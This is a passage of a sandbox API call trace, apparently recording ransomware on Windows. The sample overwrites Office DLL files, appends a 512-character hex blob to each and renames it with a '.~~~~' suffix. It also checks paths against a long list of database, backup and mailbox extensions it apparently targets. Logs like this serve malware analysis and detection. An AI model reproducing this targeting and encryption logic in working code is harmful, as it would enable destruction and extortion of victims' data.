	[0079.518] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.518] WriteFile (in: hFile=0x134, lpBuffer=0x283dfe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.518] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283dfe0 | out: hHeap=0x300000) returned 1
	[0079.518] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.518] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.571] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.571] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.571] CloseHandle (hObject=0x134) returned 1
	[0079.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0079.572] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.~~~~")) returned 1
	[0079.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6df0 | out: hHeap=0x300000) returned 1
	[0079.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0079.573] GetLastError () returned 0x0
	[0079.573] RtlWakeConditionVariable () returned 0x365f70
	[0079.573] GetCurrentThreadId () returned 0xaf0
	[0079.573] GetCurrentThreadId () returned 0xaf0
	[0079.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2290
	[0079.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb5d0 | out: hHeap=0x300000) returned 1
	[0079.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0079.573] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb5d0
	[0079.573] lstrlenW (lpString=".scr") returned 4
	[0079.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".scr") returned 0x0
	[0079.573] lstrlenW (lpString=".cmd") returned 4
	[0079.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".cmd") returned 0x0
	[0079.573] lstrlenW (lpString=".dll") returned 4
	[0079.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".dll") returned 0x0
	[0079.573] lstrlenW (lpString=".bat") returned 4
	[0079.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".bat") returned 0x0
	[0079.573] lstrlenW (lpString=".cpl") returned 4
	[0079.573] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".cpl") returned 0x0
	[0079.583] lstrlenW (lpString=".sys") returned 4
	[0079.583] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".sys") returned 0x0
	[0079.583] lstrlenW (lpString=".msc") returned 4
	[0079.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".msc") returned 0x0
	[0079.584] lstrlenW (lpString=".com") returned 4
	[0079.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".com") returned 0x0
	[0079.584] lstrlenW (lpString=".lnk") returned 4
	[0079.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".lnk") returned 0x0
	[0079.584] lstrlenW (lpString=".msp") returned 4
	[0079.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".msp") returned 0x0
	[0079.584] lstrlenW (lpString=".pif") returned 4
	[0079.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".pif") returned 0x0
	[0079.584] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.584] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0079.584] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0079.585] lstrlenW (lpString=".sqb") returned 4
	[0079.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".sqb") returned 0x0
	[0079.585] lstrlenW (lpString=".ost") returned 4
	[0079.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".ost") returned 0x0
	[0079.585] lstrlenW (lpString=".txt") returned 4
	[0079.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".txt") returned 0x0
	[0079.585] lstrlenW (lpString=".mdt") returned 4
	[0079.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".mdt") returned 0x0
	[0079.585] lstrlenW (lpString=".BDB") returned 4
	[0079.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".BDB") returned 0x0
	[0079.585] lstrlenW (lpString=".eql") returned 4
	[0079.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".eql") returned 0x0
	[0079.586] lstrlenW (lpString=".DBF") returned 4
	[0079.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".DBF") returned 0x0
	[0079.586] lstrlenW (lpString=".EQL") returned 4
	[0079.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".EQL") returned 0x0
	[0079.586] lstrlenW (lpString=".FDB") returned 4
	[0079.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".FDB") returned 0x0
	[0079.586] lstrlenW (lpString=".EDB") returned 4
	[0079.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".EDB") returned 0x0
	[0079.586] lstrlenW (lpString=".DACPAC") returned 7
	[0079.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".DACPAC") returned 0x0
	[0079.586] lstrlenW (lpString=".VHD") returned 4
	[0079.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".VHD") returned 0x0
	[0079.586] lstrlenW (lpString=".DBV") returned 4
	[0079.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".DBV") returned 0x0
	[0079.586] lstrlenW (lpString=".dacpac") returned 7
	[0079.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".dacpac") returned 0x0
	[0079.586] lstrlenW (lpString=".sdf") returned 4
	[0079.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".sdf") returned 0x0
	[0079.586] lstrlenW (lpString=".accdb") returned 6
	[0079.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".accdb") returned 0x0
	[0079.586] lstrlenW (lpString=".DBX") returned 4
	[0079.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".DBX") returned 0x0
	[0079.586] lstrlenW (lpString=".MDT") returned 4
	[0079.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".MDT") returned 0x0
	[0079.586] lstrlenW (lpString=".SQB") returned 4
	[0079.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".SQB") returned 0x0
	[0079.586] lstrlenW (lpString=".vhd") returned 4
	[0079.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".vhd") returned 0x0
	[0079.586] lstrlenW (lpString=".bac") returned 4
	[0079.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".bac") returned 0x0
	[0079.586] lstrlenW (lpString=".mdf") returned 4
	[0079.586] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".mdf") returned 0x0
	[0079.587] lstrlenW (lpString=".BAK") returned 4
	[0079.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".BAK") returned 0x0
	[0079.587] lstrlenW (lpString=".BAC") returned 4
	[0079.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".BAC") returned 0x0
	[0079.587] lstrlenW (lpString=".dbs") returned 4
	[0079.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".dbs") returned 0x0
	[0079.587] lstrlenW (lpString=".vhdx") returned 5
	[0079.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".vhdx") returned 0x0
	[0079.587] lstrlenW (lpString=".NDF") returned 4
	[0079.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".NDF") returned 0x0
	[0079.587] lstrlenW (lpString=".dat") returned 4
	[0079.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".dat") returned 0x0
	[0079.587] lstrlenW (lpString=".DBS") returned 4
	[0079.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".DBS") returned 0x0
	[0079.587] lstrlenW (lpString=".CKP") returned 4
	[0079.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".CKP") returned 0x0
	[0079.587] lstrlenW (lpString=".edb") returned 4
	[0079.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".edb") returned 0x0
	[0079.587] lstrlenW (lpString=".PST") returned 4
	[0079.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".PST") returned 0x0
	[0079.587] lstrlenW (lpString=".dbf") returned 4
	[0079.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".dbf") returned 0x0
	[0079.587] lstrlenW (lpString=".SQL") returned 4
	[0079.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".SQL") returned 0x0
	[0079.587] lstrlenW (lpString=".pst") returned 4
	[0079.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".pst") returned 0x0
	[0079.587] lstrlenW (lpString=".dbv") returned 4
	[0079.587] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".dbv") returned 0x0
	[0079.588] lstrlenW (lpString=".SDF") returned 4
	[0079.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".SDF") returned 0x0
	[0079.588] lstrlenW (lpString=".dtxs") returned 5
	[0079.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".dtxs") returned 0x0
	[0079.588] lstrlenW (lpString=".db3") returned 4
	[0079.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".db3") returned 0x0
	[0079.588] lstrlenW (lpString=".OST") returned 4
	[0079.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".OST") returned 0x0
	[0079.588] lstrlenW (lpString=".dbx") returned 4
	[0079.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".dbx") returned 0x0
	[0079.588] lstrlenW (lpString=".DB3") returned 4
	[0079.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".DB3") returned 0x0
	[0079.588] lstrlenW (lpString=".DAT") returned 4
	[0079.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".DAT") returned 0x0
	[0079.588] lstrlenW (lpString=".VHDX") returned 5
	[0079.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".VHDX") returned 0x0
	[0079.588] lstrlenW (lpString=".ndf") returned 4
	[0079.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".ndf") returned 0x0
	[0079.588] lstrlenW (lpString=".DB") returned 3
	[0079.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".DB") returned 0x0
	[0079.588] lstrlenW (lpString=".sql") returned 4
	[0079.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".sql") returned 0x0
	[0079.588] lstrlenW (lpString=".MYD") returned 4
	[0079.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".MYD") returned 0x0
	[0079.588] lstrlenW (lpString=".DBT") returned 4
	[0079.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".DBT") returned 0x0
	[0079.588] lstrlenW (lpString=".ACCDB") returned 6
	[0079.588] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".ACCDB") returned 0x0
	[0079.589] lstrlenW (lpString=".fdb") returned 4
	[0079.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".fdb") returned 0x0
	[0079.589] lstrlenW (lpString=".bak") returned 4
	[0079.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".bak") returned 0x0
	[0079.589] lstrlenW (lpString=".myd") returned 4
	[0079.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".myd") returned 0x0
	[0079.589] lstrlenW (lpString=".DTXS") returned 5
	[0079.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".DTXS") returned 0x0
	[0079.589] lstrlenW (lpString=".ckp") returned 4
	[0079.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".ckp") returned 0x0
	[0079.589] lstrlenW (lpString=".dbt") returned 4
	[0079.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".dbt") returned 0x0
	[0079.589] lstrlenW (lpString=".db") returned 3
	[0079.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".db") returned 0x0
	[0079.589] lstrlenW (lpString=".TXT") returned 4
	[0079.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".TXT") returned 0x0
	[0079.589] lstrlenW (lpString=".MDF") returned 4
	[0079.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".MDF") returned 0x0
	[0079.589] lstrlenW (lpString=".bdb") returned 4
	[0079.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".bdb") returned 0x0
	[0079.589] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0079.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0079.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0079.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0079.589] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39feb0) returned 1
	[0079.590] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0079.590] CryptReleaseContext (hProv=0x39feb0, dwFlags=0x0) returned 1
	[0079.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0079.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0079.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0079.590] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19958032924) returned 1
	[0079.590] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x994d2590, dwHighDateTime=0x1d60e1e)) 
	[0079.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0079.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0079.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0079.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6e68
	[0079.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0079.590] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6e68 | out: hHeap=0x300000) returned 1
	[0079.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0079.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0079.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6df0
	[0079.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0079.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb2d8
	[0079.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6df0 | out: hHeap=0x300000) returned 1
	[0079.591] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0079.591] GetLastError () returned 0x0
	[0079.591] GetLastError () returned 0x0
	[0079.591] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0079.591] GetLastError () returned 0x0
	[0079.591] GetLastError () returned 0x0
	[0079.592] ReadFile (in: hFile=0x134, lpBuffer=0x2856fe8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2856fe8*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.684] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.684] WriteFile (in: hFile=0x134, lpBuffer=0x2856fe8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2856fe8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2856fe8 | out: hHeap=0x300000) returned 1
	[0079.685] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.685] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.792] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.792] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.793] CloseHandle (hObject=0x134) returned 1
	[0079.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0079.850] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll.~~~~")) returned 1
	[0079.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0079.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0079.851] GetLastError () returned 0x0
	[0079.851] RtlWakeConditionVariable () returned 0x365f70
	[0079.851] GetCurrentThreadId () returned 0xaf0
	[0079.851] GetCurrentThreadId () returned 0xaf0
	[0079.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2290
	[0079.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb8c8 | out: hHeap=0x300000) returned 1
	[0079.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b938 | out: hHeap=0x300000) returned 1
	[0079.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb8c8
	[0079.851] lstrlenW (lpString=".scr") returned 4
	[0079.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".scr") returned 0x0
	[0079.851] lstrlenW (lpString=".cmd") returned 4
	[0079.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".cmd") returned 0x0
	[0079.852] lstrlenW (lpString=".dll") returned 4
	[0079.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".dll") returned 0x0
	[0079.852] lstrlenW (lpString=".bat") returned 4
	[0079.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".bat") returned 0x0
	[0079.852] lstrlenW (lpString=".cpl") returned 4
	[0079.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".cpl") returned 0x0
	[0079.852] lstrlenW (lpString=".sys") returned 4
